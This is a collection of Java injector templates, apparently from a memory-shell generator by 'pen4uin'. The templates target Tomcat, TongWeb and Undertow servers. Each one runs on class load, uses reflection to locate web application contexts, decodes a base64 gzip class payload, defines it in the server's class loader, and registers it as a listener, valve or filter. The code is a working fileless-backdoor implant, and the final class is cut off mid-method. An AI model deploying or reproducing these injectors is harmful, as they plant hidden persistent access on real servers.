import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Tomcat Listener 注入器
* Author: pen4uin
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatListenerInjectorTpl();
}
public TomcatListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
return;
}
try {
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
} catch (Exception e) {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
arrayList.add(listener);
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,239 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Valve 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v8.5.83, v9.0.67
*/
public class TomcatValveInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatValveInjectorTpl();
}
public TomcatValveInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getValve(context);
if (valve == null) continue;
injectValve(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
valve = clazz.newInstance();
} catch (Exception e2) {
e2.printStackTrace();
}
}
return valve;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public boolean isInjected(Object context, String valveClassName) throws Exception {
Object obj = invokeMethod(context, "getPipeline");
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(valveClassName)) {
return true;
}
}
return false;
}
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
return;
}
try {
Class ValveClass;
try {
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
} catch (Exception e) {
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
}
Object obj = invokeMethod(context, "getPipeline");
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,237 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Tongweb Listener 注入器
* Author: pen4uin
* 测试版本:
* v7.0.4.2
*/
public class TongWebListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TongWebListenerInjectorTpl();
}
public TongWebListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = getThreads();
Object context = null;
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("ThanosStandardContext"))
contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
public Thread[] getThreads() throws Exception {
Thread[] var0 = null;
try {
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
} catch (NoSuchMethodException var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception ex) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
return;
}
try {
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
} catch (Exception ex) {
try {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
arrayList.add(listener);
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
} catch (Exception ignored) {
}
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,213 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class UndertowFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowFilterInjectorTpl();
}
public UndertowFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null)
contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterClassName = filter.getClass().getName();
try {
if (isInjected(context, filterClassName)) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,207 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class UndertowListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowListenerInjectorTpl();
}
public UndertowListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
